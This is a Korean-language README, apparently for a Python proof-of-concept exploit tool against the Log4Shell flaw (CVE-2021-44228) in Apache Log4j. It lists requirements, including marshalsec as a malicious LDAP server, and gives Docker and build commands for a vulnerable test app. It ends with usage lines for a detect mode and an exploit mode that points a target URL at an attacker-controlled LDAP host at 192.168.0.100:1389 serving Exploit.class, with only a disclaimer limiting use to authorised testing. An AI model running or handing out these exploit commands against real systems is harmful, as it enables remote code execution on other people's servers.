Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Apache Log4j ≤ 2.14.1의 치명적인 취약점 Log4Shell에 대한 테스트 익스플로잇으로, JNDI 주입을 통해 원격 코드 실행을 허용합니다.

⚠️ 이 PoC는 교육 목적 및 승인된 환경에서의 통제된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

요구 사항

• Python 3.x
• Java 8 이상
• marshalsec (악성 LDAP 서버용)
• HTTP 서버 (예: python3 -m http.server)
• Docker (취약한 환경용, 선택 사항)

로컬 테스트 환경 (Docker 사용 시 선택 사항)

1. 취약한 앱 실행:

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. http://localhost:8080에 접속:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

사용법

수동 감지 모드:

python3 main.py -u http://target.com -i burp.collab.net -m detect

침입 모드 (HTTP 서버에 Exploit.class 필요):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit